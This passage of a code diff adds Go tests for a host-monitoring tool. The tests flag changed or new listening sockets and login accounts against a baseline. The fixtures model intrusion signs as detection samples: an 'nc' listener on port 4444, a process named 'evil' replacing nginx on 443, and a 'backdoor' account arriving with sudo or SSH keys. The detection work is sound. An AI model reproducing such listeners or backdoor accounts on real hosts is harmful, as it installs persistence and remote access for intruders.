t.Errorf("a stock sshd_config gave paths=%v note=%q", paths, note)
|
||||
}
|
||||
}
|
||||
|
||||
// A NARROWED READ MUST SAY SO. identityScanReport.Partial was set by the reader and read NOWHERE,
|
||||
// so a class that went narrow — sudo rules unopenable, keys read from somewhere
|
||||
// this does not look — reported a confident answer over the gap. The entries it
|
||||
// produced are real and still compared; what was missing was the sentence
|
||||
// saying the answer covers less than it looks.
|
||||
func TestAPartiallyReadIdentityClassSaysSoOnThePass(t *testing.T) {
|
||||
oI := deltaIdentityReader
|
||||
deltaIdentityReader = func() identityScanReport {
|
||||
return identityScanReport{Supported: true,
|
||||
Partial: "sudo rules not readable: /etc/sudoers",
|
||||
Accounts: []identityObs{{Name: "erin", UID: 1000, Shell: "/bin/bash", SudoUnknown: true}}}
|
||||
}
|
||||
oL := deltaListenerReader
|
||||
deltaListenerReader = func() ([]listenSocket, bool, string) { return nil, false, "no ss" }
|
||||
t.Cleanup(func() { deltaIdentityReader, deltaListenerReader = oI, oL })
|
||||
|
||||
_, _, _, sight, _ := deltaCollectLive(func(string) (string, string) { return "", "" })
|
||||
if !sight.Identities {
|
||||
t.Fatal("a partially-read class reported as blind — its real entries would be dropped")
|
||||
}
|
||||
if len(sight.Notes) != 1 || !strings.Contains(sight.Notes[0], "sudo rules not readable") {
|
||||
t.Fatalf("the reader's partial note did not reach the pass: %v", sight.Notes)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,469 @@
|
||||
package main
|
||||
|
||||
// Tests for the listener and identity classes. Each one pins a sentence the
|
||||
// plane is supposed to be able to say, or a false finding it must not produce.
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func sock(proto, local string, port int, proc string, pid int) listenSocket {
|
||||
return listenSocket{Proto: proto, Local: local, Port: port, Process: proc, PID: pid}
|
||||
}
|
||||
|
||||
func kindsOf(evs []deltaEvent) []string {
|
||||
out := make([]string, 0, len(evs))
|
||||
for _, e := range evs {
|
||||
out = append(out, e.Kind)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// liveList is the plural of delta_test.go's liveOf, which takes one entry.
|
||||
func liveList(entries []baselineEntry) []deltaLiveEntry {
|
||||
out := make([]deltaLiveEntry, 0, len(entries))
|
||||
for _, e := range entries {
|
||||
out = append(out, deltaLiveEntry{Entry: e})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ── listeners ───────────────────────────────────────────────────────────────
|
||||
|
||||
// THE SENTENCE THE SLOT EXISTS FOR. A different program answering on a port
|
||||
// that was already open is ONE event that says so — not a gone and a new that a
|
||||
// person has to correlate by eye.
|
||||
func TestADifferentProgramOnAKnownPortIsOneChangedNotAGoneAndANew(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 443, "nginx", 10)})
|
||||
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 443, "evil", 99)})
|
||||
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaListenerChanged {
|
||||
t.Fatalf("want one listener_changed, got %v", kindsOf(evs))
|
||||
}
|
||||
if evs[0].Was == nil || evs[0].Was.ArgvShape != "nginx" {
|
||||
t.Error("the event does not carry what used to hold the port")
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaHigh {
|
||||
t.Errorf("a service replaced at a known port levelled %q, want high", got)
|
||||
}
|
||||
// And the words name both sides and the port, because that is the finding.
|
||||
var words string
|
||||
for _, e := range evs[0].Evidence {
|
||||
if e.Signal == "listener-holder-changed" {
|
||||
words = e.Value
|
||||
}
|
||||
}
|
||||
for _, want := range []string{"nginx", "evil", "443"} {
|
||||
if !strings.Contains(words, want) {
|
||||
t.Errorf("evidence %q does not name %q", words, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A port nothing was on before. The one the class is really for.
|
||||
func TestAPortNothingWasOnBeforeIsListenerNewAndItsLevelFollowsTheAddress(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 5432, "postgres", 3)})
|
||||
|
||||
exposed, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "127.0.0.1", 5432, "postgres", 3),
|
||||
sock("tcp", "0.0.0.0", 4444, "nc", 77),
|
||||
})
|
||||
evs := deltaCompare(was, liveList(exposed))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
|
||||
t.Fatalf("want one listener_new, got %v", kindsOf(evs))
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaHigh {
|
||||
t.Errorf("a new listener on a routable address levelled %q, want high", got)
|
||||
}
|
||||
|
||||
// THE SAME PORT ON LOOPBACK IS NOT THE SAME FINDING. A developer running
|
||||
// something locally must not page anyone, and the address is in the slot
|
||||
// precisely so this can be told apart.
|
||||
local, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "127.0.0.1", 5432, "postgres", 3),
|
||||
sock("tcp", "127.0.0.1", 4444, "nc", 77),
|
||||
})
|
||||
evs = deltaCompare(was, liveList(local))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
|
||||
t.Fatalf("want one listener_new, got %v", kindsOf(evs))
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaWarn {
|
||||
t.Errorf("a new loopback listener levelled %q, want warn", got)
|
||||
}
|
||||
}
|
||||
|
||||
// THE SAME SERVICE MOVING FROM LOOPBACK TO THE WILDCARD IS THE FINDING, and
|
||||
// the address being in the slot is what makes it visible at all. This is the
|
||||
// judgement baseline_listeners.go's header argues for, so it is pinned.
|
||||
func TestAServiceThatStartsBindingTheWildcardIsReported(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 9000, "app", 5)})
|
||||
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 9000, "app", 5)})
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
var sawNew bool
|
||||
for _, e := range evs {
|
||||
if e.Kind == deltaListenerNew && deltaLevel(e) == deltaHigh {
|
||||
sawNew = true
|
||||
}
|
||||
}
|
||||
if !sawNew {
|
||||
t.Fatalf("a service that opened itself to the network produced %v, with no high listener_new", kindsOf(evs))
|
||||
}
|
||||
}
|
||||
|
||||
// Four workers accept()ing one bound port are one listener to a person.
|
||||
func TestOneBindPointWithSeveralWorkersIsOneEntryCarryingEveryPID(t *testing.T) {
|
||||
entries, pids := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "0.0.0.0", 80, "nginx", 11),
|
||||
sock("tcp", "0.0.0.0", 80, "nginx", 12),
|
||||
sock("tcp", "0.0.0.0", 80, "nginx", 13),
|
||||
})
|
||||
if len(entries) != 1 {
|
||||
t.Fatalf("want one folded entry, got %d", len(entries))
|
||||
}
|
||||
if len(pids[0]) != 3 {
|
||||
t.Errorf("the folded entry carries %v, want all three worker pids", pids[0])
|
||||
}
|
||||
}
|
||||
|
||||
// THE COLLISION THE MARKER EXISTS TO STOP. `ss` omits the process column for
|
||||
// sockets this account may not read. Recording that as the empty string would
|
||||
// make every unreadable socket ONE fingerprint, so the second and later ones
|
||||
// would never be reported at all.
|
||||
func TestTwoSocketsWithNoReadableOwnerStayDistinct(t *testing.T) {
|
||||
entries, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "0.0.0.0", 8000, "", 0),
|
||||
sock("tcp", "0.0.0.0", 9999, "", 0),
|
||||
})
|
||||
if len(entries) != 2 {
|
||||
t.Fatalf("two unreadable sockets folded into %d entries — one of them can never be reported", len(entries))
|
||||
}
|
||||
if entries[0].FP == entries[1].FP {
|
||||
t.Error("two different bind points share a fingerprint")
|
||||
}
|
||||
if !strings.Contains(entries[0].ArgvShape, "unreadable") {
|
||||
t.Errorf("an unreadable owner reads as %q, which does not say the box could not look", entries[0].ArgvShape)
|
||||
}
|
||||
}
|
||||
|
||||
// ── identities ──────────────────────────────────────────────────────────────
|
||||
|
||||
func idEntry(name string, sudo bool, keys int, digest, shell string) baselineEntry {
|
||||
return baselineEntryOfIdentity(identityObs{
|
||||
Name: name, UID: 1000, Shell: shell, Sudo: sudo, AuthKeys: keys, KeyDigest: digest,
|
||||
})
|
||||
}
|
||||
|
||||
// A NEW ACCOUNT THAT ARRIVES ALREADY PRIVILEGED IS NOT HOW A COLLEAGUE IS
|
||||
// ADDED. It is how persistence is installed, and the level says so.
|
||||
func TestANewAccountIsHighAndCriticalWhenItArrivesArmed(t *testing.T) {
|
||||
base := []baselineEntry{idEntry("erin", false, 1, "d1", "/bin/bash")}
|
||||
|
||||
plain := append([]baselineEntry{}, base...)
|
||||
plain = append(plain, idEntry("intern", false, 0, "", "/bin/bash"))
|
||||
evs := deltaCompare(base, liveList(plain))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaIdentityNew {
|
||||
t.Fatalf("want one identity_new, got %v", kindsOf(evs))
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaHigh {
|
||||
t.Errorf("a plain new account levelled %q, want high", got)
|
||||
}
|
||||
|
||||
for _, armed := range []baselineEntry{
|
||||
idEntry("backdoor", true, 0, "", "/bin/bash"), // sudo on arrival
|
||||
idEntry("backdoor", false, 2, "dx", "/bin/sh"), // keys on arrival
|
||||
} {
|
||||
live := append([]baselineEntry{}, base...)
|
||||
live = append(live, armed)
|
||||
evs := deltaCompare(base, liveList(live))
|
||||
if len(evs) != 1 {
|
||||
t.Fatalf("want one event, got %v", kindsOf(evs))
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaCritical {
|
||||
t.Errorf("an account arriving with sudo or keys levelled %q, want critical", got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Granting sudo to an EXISTING account must read as a change to that account,
|
||||
// never as a new one — the slot is the account for exactly this reason.
|
||||
func TestGrantingSudoIsACriticalChangeToAKnownAccountNotANewOne(t *testing.T) {
|
||||
was := []baselineEntry{idEntry("erin", false, 1, "d1", "/bin/bash")}
|
||||
now := []baselineEntry{idEntry("erin", true, 1, "d1", "/bin/bash")}
|
||||
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaIdentityChanged {
|
||||
t.Fatalf("want one identity_changed, got %v", kindsOf(evs))
|
||||
}
|
||||
if evs[0].Reason != deltaReasonSudoers {
|
||||
t.Errorf("reason = %q, want %q", evs[0].Reason, deltaReasonSudoers)
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaCritical {
|
||||
t.Errorf("privilege moving levelled %q, want critical", got)
|
||||
}
|
||||
if w := identityChangeWords(was[0], now[0]); !strings.Contains(w, "sudo") {
|
||||
t.Errorf("the sentence %q does not mention sudo", w)
|
||||
}
|
||||
}
|
||||
|
||||
// THE CASE A COUNT CANNOT SEE, and the only reason the digest is kept at all:
|
||||
// one key swapped for another is the same number and a different machine.
|
||||
func TestAKeySwappedAtTheSameCountIsStillReported(t *testing.T) {
|
||||
was := []baselineEntry{idEntry("erin", false, 1, "digest-of-old-key", "/bin/bash")}
|
||||
now := []baselineEntry{idEntry("erin", false, 1, "digest-of-new-key", "/bin/bash")}
|
||||
|
||||
evs := deltaCompare(was, liveList(now))
|
||||
if len(evs) != 1 || evs[0].Kind != deltaIdentityChanged {
|
||||
t.Fatalf("a key swap at an unchanged count produced %v — it is invisible", kindsOf(evs))
|
||||
}
|
||||
if evs[0].Reason != deltaReasonAuthKeys {
|
||||
t.Errorf("reason = %q, want %q", evs[0].Reason, deltaReasonAuthKeys)
|
||||
}
|
||||
if got := deltaLevel(evs[0]); got != deltaHigh {
|
||||
t.Errorf("a swapped key levelled %q, want high", got)
|
||||
}
|
||||
if w := identityChangeWords(was[0], now[0]); !strings.Contains(w, "not the same keys") {
|
||||
t.Errorf("the sentence %q does not say the keys differ at the same count", w)
|
||||
}
|
||||
}
|
||||
|
||||
// The digest must not churn on things that grant nothing, or the class becomes
|
||||
// noise and people stop reading it.
|
||||
func TestTheKeyDigestIgnoresOrderCommentsAndBlankLines(t *testing.T) {
|
||||
a := identityKeyDigest([]string{
|
||||
"ssh-ed25519 AAAAKEY1 erin@laptop",
|
||||
"ssh-rsa AAAAKEY2 erin@desktop",
|
||||
})
|
||||
reordered := identityKeyDigest([]string{
|
||||
"ssh-rsa AAAAKEY2 erin@desktop",
|
||||
"ssh-ed25519 AAAAKEY1 erin@laptop",
|
||||
})
|
||||
if a != reordered {
|
||||
t.Error("reordering authorized_keys changed the digest — every config-management rewrite would be a finding")
|
||||
}
|
||||
recommented := identityKeyDigest([]string{
|
||||
"ssh-ed25519 AAAAKEY1 a-new-comment",
|
||||
"# a comment line",
|
||||
"",
|
||||
"ssh-rsa AAAAKEY2 erin@desktop",
|
||||
})
|
||||
if a != recommented {
|
||||
t.Error("renaming a key's comment changed the digest")
|
||||
}
|
||||
if n := identityCountKeys([]string{"ssh-rsa AAAAK x", "# no", "", " "}); n != 1 {
|
||||
t.Errorf("counted %d keys, want 1 — comments and blanks are not grants", n)
|
||||
}
|
||||
// A REAL CHANGE STILL MOVES IT, or none of the above is worth anything.
|
||||
if a == identityKeyDigest([]string{"ssh-ed25519 AAAAKEY1 x", "ssh-rsa AAAADIFFERENT y"}) {
|
||||
t.Error("a different key produced the same digest")
|
||||
}
|
||||
}
|
||||
|
||||
// THE PRIVACY PROPERTY, pinned. The accounting holds the shape of an identity
|
||||
// and never its content; baseline_identity.go's header states it and this is
|
||||
// what would catch someone widening it.
|
||||
func TestTheAccountingNeverHoldsKeyMaterial(t *testing.T) {
|
||||
const secret = "AAAAC3NzaC1lZDI1NTE5AAAAISECRETKEYBODY"
|
||||
keys := []string{"ssh-ed25519 " + secret + " erin@laptop"}
|
||||
e := baselineEntryOfIdentity(identityObs{
|
||||
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: true,
|
||||
AuthKeys: identityCountKeys(keys), KeyDigest: identityKeyDigest(keys),
|
||||
})
|
||||
blob := e.FP + e.Kind + e.Unit + e.User + e.ArgvShape + e.Origin + e.DigestNote + e.Signature
|
||||
if strings.Contains(blob, secret) {
|
||||
t.Fatal("the key body is in the accounting")
|
||||
}
|
||||
n, nok := e.identityKeys()
|
||||
sudo, sok := e.identitySudo()
|
||||
if !nok || n != 1 || !sok || !sudo {
|
||||
t.Errorf("the shape did not survive the round trip: keys=%d known=%v sudo=%v known=%v",
|
||||
n, nok, sudo, sok)
|
||||
}
|
||||
}
|
||||
|
||||
// A system account is not a way onto the machine, and fifty of them would bury
|
||||
// the one that is.
|
||||
func TestOnlyAccountsWithALoginShellAreAccounted(t *testing.T) {
|
||||
for _, s := range []string{"/usr/sbin/nologin", "/sbin/nologin", "/bin/false", ""} {
|
||||
if identityIsLoginShell(s) {
|
||||
t.Errorf("%q counted as a login shell", s)
|
||||
}
|
||||
}
|
||||
for _, s := range []string{"/bin/bash", "/bin/zsh", "/usr/bin/fish", "/opt/weird/shell"} {
|
||||
if !identityIsLoginShell(s) {
|
||||
t.Errorf("%q did not count as a login shell — an unusual shell is MORE interesting, not less", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── the class guard ─────────────────────────────────────────────────────────
|
||||
//
|
||||
// The two false-finding floods deltaComparableClasses exists to stop. Both are
|
||||
// reachable on a real machine and neither is a fact about the machine — they
|
||||
// are facts about what was readable, which is the distinction this whole plane
|
||||
// is built on.
|
||||
|
||||
func withReaders(t *testing.T, listeners bool, identities bool) {
|
||||
t.Helper()
|
||||
oL, oI := deltaListenerReader, deltaIdentityReader
|
||||
deltaListenerReader = func() ([]listenSocket, bool, string) {
|
||||
if !listeners {
|
||||
return nil, false, "no ss on this box"
|
||||
}
|
||||
return []listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)}, true, ""
|
||||
}
|
||||
deltaIdentityReader = func() identityScanReport {
|
||||
if !identities {
|
||||
return identityScanReport{Reason: "cannot read the account database"}
|
||||
}
|
||||
return identityScanReport{Supported: true,
|
||||
Accounts: []identityObs{{Name: "erin", UID: 1000, Shell: "/bin/bash"}}}
|
||||
}
|
||||
t.Cleanup(func() { deltaListenerReader, deltaIdentityReader = oL, oI })
|
||||
}
|
||||
|
||||
// FLOOD ONE: the accounting was taken before this box could see listeners.
|
||||
// Every listener on it would compare against nothing and come out as new — on a
|
||||
// machine where nothing changed at all.
|
||||
func TestAListenerClassMissingFromTheAccountingIsNotReportedAsAllNew(t *testing.T) {
|
||||
base := &baselineFile{
|
||||
Coverage: baselineCoverage(true, true, false, true), // listeners=unsupported
|
||||
Entries: []baselineEntry{procEntry("d", "root", "svc", "x")},
|
||||
}
|
||||
liveListeners, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "0.0.0.0", 22, "sshd", 1),
|
||||
sock("tcp", "0.0.0.0", 443, "nginx", 2),
|
||||
})
|
||||
live := append(liveList(liveListeners), deltaLiveEntry{Entry: base.Entries[0]})
|
||||
|
||||
keptBase, keptLive, notes, _ := deltaComparableClasses(base, live, deltaSight{Listeners: true, Identities: true}, nil)
|
||||
for _, e := range deltaCompare(keptBase, keptLive) {
|
||||
if strings.HasPrefix(e.Kind, "listener") {
|
||||
t.Fatalf("a listener event fired against an accounting that never saw listeners: %s", e.Kind)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(strings.Join(notes, " "), "listeners are not in the accounting") {
|
||||
t.Errorf("the pass did not SAY it cannot report listeners; notes = %v", notes)
|
||||
}
|
||||
}
|
||||
|
||||
// FLOOD TWO, and the worse of the two: the accounting HAS the class and this
|
||||
// pass went blind. Every entry would come out `_gone` — "the listeners all
|
||||
// stopped" reads as an incident rather than as a blindfold.
|
||||
func TestAClassThisPassCannotReadIsNotReportedAsAllGone(t *testing.T) {
|
||||
known, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "0.0.0.0", 22, "sshd", 1),
|
||||
sock("tcp", "0.0.0.0", 443, "nginx", 2),
|
||||
})
|
||||
base := &baselineFile{
|
||||
Coverage: baselineCoverage(true, true, true, true),
|
||||
Entries: append(known, idEntry("erin", false, 1, "d1", "/bin/bash")),
|
||||
}
|
||||
// The live side saw neither class, which is exactly what a blind pass looks
|
||||
// like: no entries, and no way to tell that from "they are all gone".
|
||||
keptBase, keptLive, notes, _ := deltaComparableClasses(base, nil, deltaSight{}, nil)
|
||||
|
||||
for _, e := range deltaCompare(keptBase, keptLive) {
|
||||
if strings.HasPrefix(e.Kind, "listener") || strings.HasPrefix(e.Kind, "identity") {
|
||||
t.Fatalf("a blind pass reported %s — that is a blindfold being read as an incident", e.Kind)
|
||||
}
|
||||
}
|
||||
joined := strings.Join(notes, " ")
|
||||
for _, want := range []string{"listeners are in the accounting", "identities are in the accounting"} {
|
||||
if !strings.Contains(joined, want) {
|
||||
t.Errorf("the pass did not say which class it could not read; notes = %v", notes)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// AND WHEN BOTH SIDES CAN SEE, THE CLASS IS COMPARED NORMALLY — without this
|
||||
// the two tests above would pass on a plane that had simply stopped working.
|
||||
func TestAClassBothSidesCanSeeIsStillCompared(t *testing.T) {
|
||||
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)})
|
||||
base := &baselineFile{Coverage: baselineCoverage(true, true, true, true), Entries: was}
|
||||
now, _ := baselineFromListeners([]listenSocket{
|
||||
sock("tcp", "0.0.0.0", 22, "sshd", 1),
|
||||
sock("tcp", "0.0.0.0", 4444, "nc", 9),
|
||||
})
|
||||
keptBase, keptLive, notes, _ := deltaComparableClasses(base, liveList(now), deltaSight{Listeners: true, Identities: true}, nil)
|
||||
evs := deltaCompare(keptBase, keptLive)
|
||||
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
|
||||
t.Fatalf("want one listener_new when both sides can see, got %v (notes %v)", kindsOf(evs), notes)
|
||||
}
|
||||
if len(notes) != 0 {
|
||||
t.Errorf("a fully-sighted pass still carried a cannot-compare note: %v", notes)
|
||||
}
|
||||
}
|
||||
|
||||
// A baseline taken before either class existed says nothing about them, and
|
||||
// that is the ordinary upgrade path — every box in the fleet is in this state
|
||||
// the first time it runs a bastion carrying these classes.
|
||||
func TestAnAccountingFromBeforeTheseClassesAsksForARetakeRatherThanFlooding(t *testing.T) {
|
||||
base := &baselineFile{
|
||||
Coverage: "processes=all,schedulers=all", // what earlier versions wrote
|
||||
Entries: []baselineEntry{procEntry("d", "root", "svc", "x")},
|
||||
}
|
||||
listeners, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)})
|
||||
live := append(liveList(listeners), deltaLiveEntry{Entry: base.Entries[0]})
|
||||
|
||||
keptBase, keptLive, notes, _ := deltaComparableClasses(base, live, deltaSight{Listeners: true, Identities: true}, nil)
|
||||
if evs := deltaCompare(keptBase, keptLive); len(evs) != 0 {
|
||||
t.Fatalf("upgrading the bastion produced findings on an unchanged machine: %v", kindsOf(evs))
|
||||
}
|
||||
if !strings.Contains(strings.Join(notes, " "), "take it again") {
|
||||
t.Errorf("the note does not tell the operator what to do; notes = %v", notes)
|
||||
}
|
||||
}
|
||||
|
||||
// THE SIGHT MUST COME FROM THE READERS, and until this test nothing checked
|
||||
// that — the guard tests hand deltaComparableClasses a deltaSight directly, so
|
||||
// a deltaCollectLive that always reported "I saw both" would have passed every
|
||||
// one of them while reintroducing the exact flood the guard exists to stop.
|
||||
func TestTheSightIsWhatTheReadersActuallySaid(t *testing.T) {
|
||||
for _, tc := range []struct{ listeners, identities bool }{
|
||||
{true, true}, {true, false}, {false, true}, {false, false},
|
||||
} {
|
||||
withReaders(t, tc.listeners, tc.identities)
|
||||
_, _, _, sight, _ := deltaCollectLive(func(string) (string, string) { return "", "" })
|
||||
if sight.Listeners != tc.listeners {
|
||||
t.Errorf("readers said listeners=%v, sight says %v", tc.listeners, sight.Listeners)
|
||||
}
|
||||
if sight.Identities != tc.identities {
|
||||
t.Errorf("readers said identities=%v, sight says %v", tc.identities, sight.Identities)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// AND A BLIND READER CONTRIBUTES NO ENTRIES, which is the other half: a sight
|
||||
// of false with entries in the list would mean the guard dropped real
|
||||
// observations, and a sight of true with none is the state that reports
|
||||
// everything gone.
|
||||
func TestABlindReaderContributesNoEntriesOfItsClass(t *testing.T) {
|
||||
withReaders(t, false, true)
|
||||
live, _, _, sight, _ := deltaCollectLive(func(string) (string, string) { return "", "" })
|
||||
if sight.Listeners {
|
||||
t.Fatal("a blind listener reader reported as sighted")
|
||||
}
|
||||
for _, l := range live {
|
||||
if l.Entry.Kind == "listener" {
|
||||
t.Fatal("a blind listener reader still produced listener entries")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The identity fold, which nothing exercised until a coverage sweep noticed —
|
||||
// baselineFromIdentities is what both sides call and only the single-entry
|
||||
// constructor beneath it was being tested.
|
||||
func TestADuplicateAccountLineProducesOneEntry(t *testing.T) {
|
||||
dup := identityObs{Name: "erin", UID: 1000, Shell: "/bin/bash"}
|
||||
out := baselineFromIdentities([]identityObs{dup, dup})
|
||||
if len(out) != 1 {
|
||||
t.Fatalf("a duplicated passwd line produced %d entries", len(out))
|
||||
}
|
||||
// Two DIFFERENT accounts still produce two, or the fold is eating them.
|
||||
out = baselineFromIdentities([]identityObs{dup, {Name: "dave", UID: 1001, Shell: "/bin/bash"}})
|
||||
if len(out) != 2 {
|
||||
t.Fatalf("two accounts folded into %d entries", len(out))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,764 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
// TEN MUTATION SURVIVORS, and they were all one shape.
|
||||
//
|
||||
// Every test first written for these classes injected at a seam —
|
||||
// listenerSockets, deltaListenerReader, deltaIdentityReader, a hand-built
|
||||
// deltaEvent — that sits ABOVE the line the change actually touched. So the
|
||||
// suite asserted the behaviour of values the test supplied and never ran the
|
||||
// code under test. That included the failed-`ss` guard itself: nothing in the
|
||||
// suite executed readSockets at all, so the exec-error check that guard exists
|
||||
// for could be deleted with everything green.
|
||||
//
|
||||
// The rule, which is the part worth keeping: A TEST THAT SUPPLIES THE VALUE
|
||||
// UNDER TEST CANNOT TEST THE CODE THAT PRODUCES IT. These inject one layer
|
||||
// lower — observeExec for the socket reader, a fixture root for the account
|
||||
// reader, and deltaCompare's own output instead of a constructed event.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ── below the socket seam: readSockets itself ───────────────────────────────
|
||||
|
||||
func withSs(t *testing.T, out map[string]string, fail map[string]error) {
|
||||
t.Helper()
|
||||
oe, oh := observeExec, observeHave
|
||||
observeHave = func(string) bool { return true }
|
||||
observeExec = func(_ context.Context, name string, args ...string) ([]byte, error) {
|
||||
if name != "ss" || len(args) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
return []byte(out[args[0]]), fail[args[0]]
|
||||
}
|
||||
t.Cleanup(func() { observeExec, observeHave = oe, oh })
|
||||
}
|
||||
|
||||
// `ss` runs and exits non-zero. textOf discards that error, so without
|
||||
// the check in readSockets the caller gets Supported=true with an empty table —
|
||||
// and an empty table is what the next accounting calls normal.
|
||||
func TestReadSocketsReportsAFailedExecRatherThanAnEmptyTable(t *testing.T) {
|
||||
line := "LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:((\"sshd\",pid=1,fd=3))\n"
|
||||
|
||||
// The tcp half fails. Note it returns OUTPUT TOO — exec.Cmd.Output gives
|
||||
// partial stdout alongside the error, so a truncated run reads as a
|
||||
// complete short table unless the error is what is checked.
|
||||
withSs(t, map[string]string{"-tlnpH": line}, map[string]error{"-tlnpH": os.ErrPermission})
|
||||
if r := readSockets(); r.Failed == "" {
|
||||
t.Errorf("a failed tcp read reported Failed=%q Partial=%q sockets=%d",
|
||||
r.Failed, r.Partial, len(r.Sockets))
|
||||
}
|
||||
|
||||
// The udp half fails after a clean tcp half.
|
||||
withSs(t, map[string]string{"-tlnpH": line, "-ulnpH": ""},
|
||||
map[string]error{"-ulnpH": os.ErrPermission})
|
||||
if r := readSockets(); r.Failed == "" {
|
||||
t.Error("a failed udp read was not reported")
|
||||
}
|
||||
|
||||
// A clean run still works, or the two above pass on a reader that always
|
||||
// claims failure.
|
||||
withSs(t, map[string]string{"-tlnpH": line, "-ulnpH": ""}, nil)
|
||||
r := readSockets()
|
||||
if r.Failed != "" || !r.Supported || len(r.Sockets) != 1 {
|
||||
t.Fatalf("a clean read gave Failed=%q supported=%v n=%d", r.Failed, r.Supported, len(r.Sockets))
|
||||
}
|
||||
// And the whole way up: listenerScan refuses each failure, accepts the good
|
||||
// one. This is the path the accounting and the delta both take.
|
||||
withSs(t, map[string]string{"-tlnpH": line}, map[string]error{"-tlnpH": os.ErrPermission})
|
||||
if _, ok, _ := listenerScan(); ok {
|
||||
t.Error("listenerScan accepted a failed socket read")
|
||||
}
|
||||
}
|
||||
|
||||
// ── below the account seam: identityScan itself ─────────────────────────────
|
||||
|
||||
func withEtc(t *testing.T, files map[string]string) string {
|
||||
t.Helper()
|
||||
root := t.TempDir()
|
||||
for rel, body := range files {
|
||||
p := filepath.Join(root, rel)
|
||||
if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(p, []byte(body), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
old := identityRoot
|
||||
identityRoot = root
|
||||
t.Cleanup(func() { identityRoot = old })
|
||||
return root
|
||||
}
|
||||
|
||||
// identityScan is what sets SudoUnknown, and every test built the flag by
|
||||
// hand — so the whole sudo-`?` path could be dead with the suite green.
|
||||
func TestIdentityScanMarksSudoUnknownWhenTheRulesCannotBeRead(t *testing.T) {
|
||||
passwd := "root:x:0:0:root:/root:/bin/bash\nerin:x:1000:1000::/home/erin:/bin/bash\n" +
|
||||
"daemon:x:1:1::/usr/sbin:/usr/sbin/nologin\n"
|
||||
|
||||
// No /etc/sudoers at all — ReadFile fails, so the rules are unreadable.
|
||||
withEtc(t, map[string]string{"etc/passwd": passwd})
|
||||
r := identityScan()
|
||||
if !r.Supported {
|
||||
t.Fatalf("a readable passwd reported unsupported: %s", r.Reason)
|
||||
}
|
||||
if r.Partial == "" {
|
||||
t.Error("unreadable sudo rules produced no partial note")
|
||||
}
|
||||
for _, a := range r.Accounts {
|
||||
if !a.SudoUnknown {
|
||||
t.Errorf("account %q recorded sudo as KNOWN while the rules were unreadable", a.Name)
|
||||
}
|
||||
}
|
||||
// Only login shells, which is the filter that keeps fifty system accounts
|
||||
// from burying the one that matters.
|
||||
if len(r.Accounts) != 2 {
|
||||
t.Errorf("got %d accounts, want 2 (nologin must be dropped)", len(r.Accounts))
|
||||
}
|
||||
|
||||
// With rules present, sudo is KNOWN and the comma list resolves — the same
|
||||
// assertion as the unit test, but through the real reader this time.
|
||||
withEtc(t, map[string]string{
|
||||
"etc/passwd": passwd,
|
||||
"etc/sudoers": "Defaults env_reset\nerin, root ALL=(ALL:ALL) ALL\n",
|
||||
})
|
||||
r = identityScan()
|
||||
for _, a := range r.Accounts {
|
||||
if a.SudoUnknown {
|
||||
t.Errorf("account %q still unknown with readable rules", a.Name)
|
||||
}
|
||||
if !a.Sudo {
|
||||
t.Errorf("account %q in a spaced User_List was not recognised", a.Name)
|
||||
}
|
||||
}
|
||||
if r.Partial != "" {
|
||||
t.Errorf("a fully readable scan carried a partial note: %q", r.Partial)
|
||||
}
|
||||
}
|
||||
|
||||
// A truncated account database drops ENTRIES, not properties, so it must
|
||||
